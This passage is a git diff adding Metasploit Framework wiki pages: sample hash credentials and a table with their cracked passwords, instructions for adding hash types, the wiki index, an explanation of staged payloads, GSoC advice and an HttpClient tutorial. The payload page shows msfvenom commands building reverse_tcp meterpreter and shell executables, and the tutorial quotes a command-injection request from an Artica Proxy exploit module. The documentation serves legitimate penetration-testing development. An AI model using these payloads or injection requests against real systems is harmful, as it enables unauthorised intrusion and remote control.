hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 jtr:mssql +creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 jtr:mssql12 +creds add user:mysql_probe hash:445ff82636a7ba59 jtr:mysql +creds add user:mysql-sha1_tere hash:*5AD8F88516BD021DD43F171E2C785C69F8E54ADB jtr:mysql-sha1 +## oracle (10) uses usernames in the hashing, so we can't overide that here +creds add user:simon hash:4F8BC1809CB2AF77 jtr:des,oracle +creds add user:SYSTEM hash:9EEDFA0AD26C6D52 jtr:des,oracle +## oracle 11/12 H value, username is used +creds add user:DEMO hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle +## oracle 11/12 uses a LONG format, see lib/msf/core/auxiliary/jtr.rb +creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C' jtr:raw-sha1,oracle +creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B' jtr:pbkdf2,oracle12c +## postgres uses username, so we can't overide that here +creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860 +## other +creds add user:hmac_password hash:'<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9' jtr:hmac-md5 +creds add user:vmware_ldap hash:'$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6' jtr:dynamic_82 +``` + +This data breaks down to the following table: + +| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this | +|-----------|----------|------|----------|------------|------------------------------|-------------------------| +| DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/jtr_aix auxiliary/analyze/jtr_linux | +| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/jtr_linux | +| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/jtr_linux | +| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/jtr_linux | +| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/jtr_linux | +| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/jtr_linux | +| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/jtr_windows_fast | +| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/jtr_windows_fast | +| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/jtr_mssql_fast | +| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/jtr_mssql_fast | +| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/jtr_mssql_fast | +| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/jtr_mysql_fast | +| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/jtr_mysql_fast | +| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast | +| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast | +| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast | +| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast | +| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast | +| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/jtr_postgres_fast | +| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None | +| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None | + +# Adding a New Hash + +Only hashes which were found in Metasploit were added to the hash id library, and the other functions. New hashes are developed often, and new modules which find a new type of hash will most definitely be created. So what are the steps to add a new hash type to Metasploit? + +1. Add a new identify algorithm to: [framework/hashes/identify.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes/identify.rb). You may want to consult external programs such as `hashid` or `hash-identifier` for suggestions. + 1. Add the hash to the spec to ensure it works right now, and in future updates: [framework/hashes/identify_spec.rb](https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/metasploit/framework/hashes/identify_spec.rb) +1. Make sure the hashes are saved in the DB in the JTR format. A good source to identify what the hashes look like is [pentestmonkey](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats). +1. If applicable, add it into the appropriate cracker module (or create a new one). Example for [Windows related hashes](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/analyze/crack_windows.rb). +1. Find the hashcat hash mode, and add a JTR name to [hashcat hash mode lookup](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb#L129) +1. If hashcat uses a different format for the hash string, add a JTR to hashcat hash format conversion to the [formatter](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/hashcat/formatter.rb) +1. Update this Wiki + 1. Add the JTR to hashcat conversion + 1. Add example hash(es) diff --git a/metasploit-framework.wiki/Home.md b/metasploit-framework.wiki/Home.md new file mode 100644 index 000000000000..f4744f86f622 --- /dev/null +++ b/metasploit-framework.wiki/Home.md @@ -0,0 +1,104 @@ +Welcome to Metasploit-land. Are you a Metasploit user who wants to get started or get better at hacking stuff (that you have permission to hack)? The quickest way to get started is to [download the Metasploit nightly installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers). This will give you access to both the free, open-source Metasploit Framework and a free trial of Metasploit Pro. + +If you're using [Kali Linux](https://kali.org/), Metasploit is already pre-installed. See the [Kali documentation](https://kali.org/docs/tools/starting-metasploit-framework-in-kali/) for how to get started using Metasploit in Kali Linux. + +Are you anxious to get your [Metasploit Development Environment](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) set up so you can start [[Landing Pull Requests]] and contributing excellent exploit code? If so, you're in the right place. If you're an exploit developer, you will want to review our [[Guidelines for Accepting Modules and Enhancements]] to find out what we expect when we see pull requests for new Metasploit modules. No idea what you should start working on? Check out the guidelines for [[contributing to Metasploit]], and dive into [[Setting Up a Metasploit Development Environment]]. + +# Getting Started # + +- [[Setting Up a Metasploit Development Environment]] +- [[Using Metasploit]] +- [[Using Git]] +- [[Reporting a Bug]] +- [[Navigating and Understanding Metasploit's Codebase]] + +# Contributing + +- [[Contributing to Metasploit]] +- [[Creating Metasploit Framework LoginScanners]] +- [[Guidelines for Accepting Modules and Enhancements]] +- [[Common Metasploit Module Coding Mistakes]] +- [[Style Tips]] +- [[Committer Rights]] +- [[Landing Pull Requests]] + +# Metasploit Development # + +- [[Style Tips]] +- [[Get Started Writing an Exploit]] +- [[How to get started with writing an auxiliary module]] +- [[How to get started with writing a post module]] +- [[How to get started with writing a Meterpreter script]] +- [[Running Private Modules]] +- [[Exploit Ranking]] +- [[Module Reference Identifiers]] +- [[How to check Microsoft patch levels for your exploit]] +- [[How to clean up files using FileDropper]] +- [[How to deprecate a Metasploit module]] +- [[How to do reporting or store data in module development]] +- [[How to log in Metasploit]] +- [[How to obfuscate JavaScript in Metasploit]] +- [[How to parse an HTTP response]] +- [[How to Send an HTTP Request Using HTTPClient]] +- [[How to send an HTTP request using Rex Proto Http Client]] +- [[How to use command stagers]] +- [[How to use datastore options]] +- [[How to use Msf Auxiliary AuthBrute to write a bruteforcer]] +- [[How to use PhpEXE to exploit an arbitrary file upload bug]] +- [[How to use Powershell in an exploit]] +- [[How to use Railgun for Windows post exploitation]] +- [[How to Use the FILEFORMAT mixin to create a file format exploit]] +- [[How to use the Msf Exploit Remote Tcp mixin]] +- [[How to use the Seh mixin to exploit an exception handler]] +- [[How to use WbemExec for a write privilege attack on Windows]] +- [[How to write a browser exploit using BrowserExploitServer]] +- [[How to write a browser exploit using HttpServer]] +- [[How to write a check() method]] +- [[How to write a HTTP LoginScanner Module]] +- [[How to write a module using HttpServer and HttpClient]] +- [How to zip files with Msf::Util::EXE.to_zip](https://github.com/rapid7/metasploit-framework/wiki/How-to-zip-files-with-Msf-Util-EXE.to_zip) +- [[How to use Metasploit Framework Compiler Windows to compile C code]] +- [[How to use Metasploit Framework Obfuscation CRandomizer]] +- [[How to decrypt RC4 with Metasploit Framework Compiler]] +- [[How to decode Base64 with Metasploit Framework Compiler]] +- [[How to XOR with Metasploit Framework Compiler]] +- [[Using ReflectiveDll Injection]] +- [[Oracle Usage]] +- [[Definition of Module Reliability, Side Effects, and Stability]] + +# Metasploit Payloads # + +- [[How Payloads Work]] +- [[Merging Metasploit Payload Gem Updates]] +- [[Meterpreter Configuration]] +- [[Meterpreter HTTP Communication]] +- [[Meterpreter Paranoid Mode]] +- [[Meterpreter Reliable Network Communication]] +- [[Meterpreter Sleep Control]] +- [[Meterpreter Stageless Mode]] +- [[Meterpreter Timeout Control]] +- [[Meterpreter Transport Control]] +- [[Meterpreter Unicode Support]] +- [[Payload UUID]] +- [[Python Extension]] +- [[The ins and outs of HTTP and HTTPS communications in Meterpreter and Metasploit Stagers]] + + +# Other Metasploit Resources # + +- [[Metasploit 5.0 Release Notes]] +- [[Downloads by Version]] +- [[Evading Anti Virus]] +- [[How to use a Metasploit module appropriately]] +- [[How to use a reverse shell in Metasploit]] +- [[Information About Unmet Browser Exploit Requirements]] +- [[How to use msfvenom]] +- [[What my Rex Proto SMB Error means]] +- [[Why CVE Is Not Available]] + +# GitHub Resources # + +- [[Git Cheatsheet]] +- [[Git Reference Sites]] +- [[Remote Branch Pruning]] + diff --git a/metasploit-framework.wiki/How-payloads-work.md b/metasploit-framework.wiki/How-payloads-work.md new file mode 100644 index 000000000000..a114526fb5ed --- /dev/null +++ b/metasploit-framework.wiki/How-payloads-work.md @@ -0,0 +1,39 @@ +# How Payloads Work + +Payload modules are stored in `modules/payloads/{singles,stages,stagers}/`. When the framework starts up, stages are combined with stagers to create a complete payload that you can use in exploits. Then, handlers are paired with payloads so the framework will know how to create sessions with a given communications mechanism. + +Payloads are given reference names that indicate all the pieces, like so: + - Staged payloads: `/[arch]//` + - Single payloads: `/[arch]/` + +This results in payloads like `windows/x64/meterpreter/reverse_tcp`. Breaking that down, the platform is `windows`, the architecture is `x64`, the final stage we're delivering is `meterpreter`, and the stager delivering it is `reverse_tcp`. + +Note that architecture is optional because in some cases it is either unnecessary or implied. An example is `php/meterpreter/reverse_tcp`. Arch is unneeded for PHP payloads because we're delivering interpreted code rather than native. + +### Singles + +Single payloads are fire-and-forget. They can create a communications mechanism with Metasploit, but they don't have to. An example of a scenario where you might want a single is when the target has no network access -- a fileformat exploit delivered via USB key is still possible. + +### Stagers + +Stagers are a small stub designed to create some form of communication and then pass execution to the next stage. Using a stager solves two problems. First, it allows us to use a small payload initially to load up a larger payload with more functionality. Second, it makes it possible to separate the communications mechanism from the final stage so one payload can be used with multiple transports without duplicating code. + +### Stages + +Since the stager will have taken care of dealing with any size restrictions by allocating a big chunk of memory for us to run in, stages can be arbitrarily large. One advantage of that is the ability to write final-stage payloads in a higher-level language like C. + +## Delivering stages + +1. The IP address and port you want the payload to connect back to are embedded in the stager. As discussed above, all staged payloads are no more than a small stub that sets up communication and executes the next stage. When you create an executable using a staged payload, you're really just creating the stager. So the following commands would create functionally identical exe files: +``` + msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp + msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp + msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp +``` +(Note that these are *functionally* identical -- there is a lot of randomization that goes into it so no two executables are exactly the same.) + +1. The Ruby side acts as a client using whichever transport mechanism was set up by the stager (e.g.: tcp, http, https). + * In the case of a shell stage, Metasploit will connect the remote process's stdio to your terminal when you interact with it. + * In the case of a [[Meterpreter]] stage, Metasploit will begin speaking the Meterpreter wire protocol. + + diff --git a/metasploit-framework.wiki/How-to-Apply-to-GSoC.md b/metasploit-framework.wiki/How-to-Apply-to-GSoC.md new file mode 100644 index 000000000000..f4730c041faf --- /dev/null +++ b/metasploit-framework.wiki/How-to-Apply-to-GSoC.md @@ -0,0 +1,63 @@ +**Note:** Final project proposals must be submitted through to Google through the GSoC Program Website, as stated in the [rules](https://summerofcode.withgoogle.com/rules/). + +Before submitting to the GSoC website, it is also helpful to solicit proposal feedback. This can be done by reaching out to us on our Slack at via the `#gsoc` channel, or via sending an email to `msfdev [@] metasploit [dot] com`. If you don't hear back right away on a proposal, don't give up! Contributors may be busy, or you may need to try again to get someone's attention (but don't spam). + +# 2022 Timeline +An updated list of the application timeline can be found at https://developers.google.com/open-source/gsoc/timeline. Please refer to this link for any updates that Google may make, as they have been known to change the timeline for certain dates in the past. + +## Important Dates + +- GSoC Applications Open: April 4th at 1800 UTC +- GSoC Applications Close: April 19th at 1800 UTC for 2022 GSoC applications. **No late submissions will be accepted, period.** +- Accepted applications announced: May 20th at 1800 UTC +- Programming Starts: June 13th. + +## Important Changes for 2022 +- All submissions (including both draft submissions and final submissions) must be in PDF format when being submitted to GSoC's website. If you would like us to review your submission prior to the final deadline, please submit a Google Drive link to your DOC formatted proposal to msfdev [AT] metasploit [DOT] com and make sure that you have enabled commenting so that potential mentors can provide feedback. + +# 2022 Idea List +You can find the current list of GSoC ideas at [[GSoC-2022-Project-Ideas]]. Please see the note at the bottom of this page if you are interested in submitting your own idea, as this will require approval. + +# Getting started +Students interesting in GSoC, can start by reading Google's official guides. + + +Review all of the [student guide](https://google.github.io/gsocguides/student/) and carefully read the [proposal writing section](https://google.github.io/gsocguides/student/writing-a-proposal.html). + +A listed `idea` is a seed for GSoC students to expand on and propose how to design and implement a solution. You can start by investigating the code base and how existing users interaction with `msfconsole` functionality. Think through scenarios on how a user might want to interact with the proposed idea. + +A place to get started with contributing to Metasploit is [here](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) and expanded on [here](https://github.com/rapid7/metasploit-framework/wiki/Contributing-to-Metasploit#framework-bugs-and-features). + +GSoC mentors tend to look for those items that have a chance of making development and usage easier or improving the overall performance of a certain area, however by starting with understanding the most common contribution patten you can get familiar with the codebase and also the mindset of users. This will help you in creating a proposal with the end user in mind. + +Once you have started digging feel free ask questions that help you understand the concepts you for the idea would like to propose. + +Initial proposals can be sent for feedback before official submission opens to msfdev@metasploit.com. All proposals must be officially submitted during Student Application Period through the [GSoC official](https://g.co/gsoc) site. + +At a bare minimum, proposals should include the following: + +## Title + +A brief description of what you would like to work on. See [[GSoC-2022-Project-Ideas]] for ideas. + +## Vitals + +* Your name +* Contact info - include at least: + - an email address + - github user name + - Freenode nick/Slack nick + +## Skillz + +What programming languages are you familiar with, in order of proficiency? Most of Metasploit is written in Ruby; for any project you will most likely need at least a passing knowledge of it. If you want to work on Meterpreter or Mettle, C will be necessary as well. + +What other projects have you worked on before? + + +## Your project + +Fill in the details. What exactly do you want to accomplish? + +# Past Submissions +If you are interested in looking at past accepted submissions and projects, you can find them at https://summerofcode.withgoogle.com/archive, and clicking on any year from 2017 onwards (with the exception of 2019 as Metasploit did not participate this year). Then click on the `Security` tag, and search for `Metasploit`. Scroll down to the bottom and you will see past successful applications and the associated code for each successful submission. Submissions from 2020 onwards also include copies of the proposal that was sent in by the accepted contributor. diff --git a/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md b/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md new file mode 100644 index 000000000000..ca4d4da4be21 --- /dev/null +++ b/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md @@ -0,0 +1,262 @@ +The [HttpClient mixin](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient) can be included with an exploit module in order to facilitate easier HTTP communications with a target machine. + +## There are mainly two common methods you will see: + +* **[send\_request\_raw](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#send_request_raw-instance_method)** - You use this to send a raw HTTP request. Usually, you will want this method if you need something that violates the specification; in most other cases, you should prefer `send_request_cgi`. If you wish to learn about how this method works, look at the documentation for [`Rex::Proto::Http::Client#request_raw`](https://rapid7.github.io/metasploit-framework/api/Rex/Proto/Http/Client.html#request_raw-instance_method). + +Here's a basic example of how to use `send_request_raw`: + +```ruby + send_request_raw({'uri'=>'/index.php'}) +``` + +* **[send\_request\_cgi](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#send_request_cgi-instance_method)** - You use this to send a more CGI-compatible HTTP request. If your request contains a query string (or POST data), then you should use this. If you wish to learn about how this method works, check out [`Rex::Proto::Http::Client#request_cgi`](https://rapid7.github.io/metasploit-framework/api/Rex/Proto/Http/Client.html#request_cgi-instance_method). + + + +Here's a very basic example for `send_request_cgi`: + +```ruby +send_request_cgi({ + 'method' => 'GET', + 'uri' => '/hello_world.php', + 'vars_get' => { + 'param_1' => 'abc', + 'param_2' => '123' + } +}) +``` + +**Please note**: `send_request_raw` and `send_request_cgi` will return a `nil` if there's a timeout, so please make sure to account for that condition when you handle the return value. + +## Cookies & CookieJars + +Part of send\_request\_cgi functionality is the ability to collect, edit, and send cookies via the HttpClient's `cookie_jar` variable, an instance of the [HttpCookieJar](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http/http_cookie_jar.rb) class. + +A HttpCookieJar is a collection of [HttpCookie](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http/http_cookie.rb). The Jar can be populated manually with it's `add` method, or automatically via the `keep_cookies` option that can be passed to [send\_request\_cgi](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/lib/msf/core/exploit/remote/http_client.rb#L385). + +If you need to clear the cookie jar (for instance, using a 2nd login), try: + +```ruby +cookie_jar.clear +``` + +### `keep_cookies` option + +Shown below is the request used to login to a gitlab account in the [gitlab\_file\_read\_rce exploit module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/multi/http/gitlab_file_read_rce.rb#L70) + +```ruby +res = @http_client.send_request_cgi({ + 'method' => 'POST', + 'uri' => '/users/sign_in', + 'keep_cookies' => true, + 'vars_post' => { + 'utf8' => '✓', + 'authenticity_token' => csrf_token, + 'user[login]' => username, + 'user[password]' => password, + 'user[remember_me]' => 0 + } +}) +``` +The cookies returned by the server with a successful login need to be attached to all future requests, so `'keep_cookies' => true,` is used to add all returned cookies to the HttpClient CookieJar and attach them to all subsequent requests. + +### `cookie` option +Shown below is the request used to login to a gitlab account in the [artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115) + +artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection requires a specific cookie header to be sent with a request in order to achieve RCE. By setting a string of the desired header as the value of the `cookie` option, that string is set as the cookie header without any changes, allowing the exploit to be carried out. + +```ruby +res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'cyrus.index.php'), + 'vars_get' => { + 'service-cmds-peform' => "||#{Rex::Text.uri_encode(cmd, 'hex-all')}||" + }, + 'cookie' => "PHPSESSID=#{@phpsessid}; AsWebStatisticsCooKie=1; shellinaboxCooKie=1" +}) +``` + +Any object passed to `cookie` that isn't an instance of HttpCookieJar will have `to_s` called on it. The result of `to_s` will be set as the cookie header of the http request. The contents of the HttpClient cookie\_jar is ignored **_only_** this request. Subsequent requests are unaffected. + +---- + +Module authors can also pass an instance of `HttpCookieJar` with the `cookie` option: + +```ruby +cj = Msf::Exploit::Remote::HTTP::HttpCookieJar.new + +cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('PHPSESSID', @phpsessid)) +cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('AsWebStatisticsCooKie', 1)) +cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('shellinaboxCooKie', 1)) + +res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'cyrus.index.php'), + 'vars_get' => { + 'service-cmds-peform' => "||#{Rex::Text.uri_encode(cmd, 'hex-all')}||" + }, + 'cookie' => cj +}) +``` +The above code would create an identical cookie header to the one used in the previous example, save for a random ordering of the name value pairs. This shouldn't affect how the server would read the cookies, but it's still worth keeping in mind if you've somehow found a vuln reliant on the order of cookies in a header. + +### expire_cookies + +`send_request_cgi` will call `cleanup` on `cookie_jar` before iot is used to populate a request with cookies. `cleanup` will remove any expired cookies permenetly from the jar, affecting all future requests. + +If this behaviour isn't deisred and an author would prefer to keep expired cookies in the jar, the `expire_cookies` option can be set to false: + +```ruby +res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'cyrus.index.php'), + 'vars_get' => { + 'service-cmds-peform' => "||#{Rex::Text.uri_encode(cmd, 'hex-all')}||" + }, + 'cookie' => "PHPSESSID=#{@phpsessid}; AsWebStatisticsCooKie=1; shellinaboxCooKie=1", + 'expire_cookies' => false +}) +``` + + +## URI Parsing + +Before you send a HTTP request, you will most likely have to do some URI parsing. This is a tricky task, because sometimes when you join paths, you may accidentally get double slashes, like this: "/test//index.php". Or for some reason you have a missing slash. These are really commonly made mistakes. So here's how you can handle it safely: + +**1** - Register your default URI datastore option as 'TARGETURI': + +Example: + +```ruby +register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to XXX application', '/xxx_v1/']) + ] +) +``` + +**2** - Load your TARGETURI with [`target_uri`](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#target_uri-instance_method), that way the URI input validation will kick in, and then you get a real `URI` object: + +In this example, we'll just load the path: + +```ruby +uri = target_uri.path +``` + +**3** - When you want to join another URI, always use [`normalize_uri`](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#normalize_uri-instance_method): + +Example: + +```ruby +# Returns: "/xxx_v1/admin/upload.php" +uri = normalize_uri(uri, 'admin', 'upload.php') +``` + +**4** - When you're done normalizing the URI, you're ready to use `send_request_cgi` or `send_request_raw` + +Please note: The `normalize_uri` method will always follow these rules: + +1. The URI should always begin with a slash. +2. You will have to decide if you need the trailing slash or not. +3. There should be no double slashes. + +## Full Example + +```ruby +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HttpClient Example', + 'Description' => %q{ + Do a send_request_cgi() + }, + 'Author' => [ 'sinn3r' ], + 'License' => MSF_LICENSE + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path', '/']) + ] + ) + end + + def run + uri = target_uri.path + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'admin', 'index.php'), + 'vars_get' => { + 'p1' => 'This is param 1', + 'p2' => 'This is param 2' + } + }) + + if res && res.code == 200 + print_good('I got a 200, awesome') + else + print_error('No 200, feeling blue') + end + end +end + +``` + +## Working with Burp Suite + +Burp Suite is a useful tool to examine or modify HTTPS traffic while developing a module using HttpClient. To do this: + +1. Start Burp: ```java -jar burpsuite.jar``` +2. In Burp, click on the Proxies tab, and then Options. Configure the proxy listener there. In this example, let's say we have a listener on port 6666. +3. Once the Burp listener is up, start msfconsole and load the module you're working on. +4. Enter: ```set Proxies HTTP:127.0.0.1:6666``` +5. Go ahead and run the module, Burp should intercept the HTTPS traffic. + +Note that Burp only supports HTTPS for HttpClient. This problem is only specific to Burp and Metasploit. + +If you need to examine HTTP traffic for HttpClient, a workaround is adding the following method in your module. This will override HttpClient's send_request_* method, and return the modified output: + +```ruby +def send_request_cgi(opts) + res = super(opts) + puts res.request.to_s + puts + puts res.to_s + puts + puts +end +``` + +You can do the same for send_request_raw as well. + +## Other Common questions: + +**1 - Can I use ```vars_get``` and ```vars_post``` together?** + +Yes. When you supply a hash to ```vars_get```, basically it means "put all this data in the query string". When you supply a hash to ```vars_post```, it means "put all this data in the body." All of them will be in the same request. You do need to make sure you're using ```send_request_cgi```, of course. + +**2 - I can't use ```vars_get``` or ```vars_post``` due to some weird reason, what to do?** + +Do mention about this problem in the code (as a comment). If you can't use ```vars_post```, you can try the ```data``` key instead, which will send your post data raw. Normally, the most common solution to get around ```vars_get``` is to leave your stuff in the ```uri``` key. msftidy will flag this, but only as an "Info" and not a warning, which means you should still pass msftidy anyway. If this is a common problem, we can always change msftidy. + +**3 - Do I need to manually do basic auth?** + +You do not need to manually do basic auth in your request, because HttpClient should automatically do that for you. All you have to do is set the username and password in the datastore options, and then the mixin will use that when the web server asks. + +**4 - How do I send a MIME request?** + +See [Rex::MIME::Message](https://github.com/rapid7/rex-mime/blob/master/lib/rex/mime/message.rb) + +## References + +* [[How to send an HTTP request using Rex Proto Http Client]] diff --git a/metasploit-framework.wiki/How-to-Use-the-FILEFORMAT-mixin-to-create-a-file-format-exploit.md b/metasploit-framework.wiki/How-to-Use-the-FILEFORMAT-mixin-to-create-a-file-format-exploit.md new file mode 100644 index 000000000000..42f57c5c3f14 --- /dev/null +++ b/metasploit-framework.wiki/How-to-Use-the-FILEFORMAT-mixin-to-create-a-file-format-exploit.md @@ -0,0 +1,62 @@ +```Msf::Exploit::FILEFORMAT``` is the mixin to use to create a file format exploit. There actually isn't much in the mixin, but the most important method is this: ```file_create```: + +### Usage for file_create + +As the name implies, the ```file_create``` method allows you to create a file. You should be using this method because it does more than just writing data to disk. One of the important things it does is it will report the file 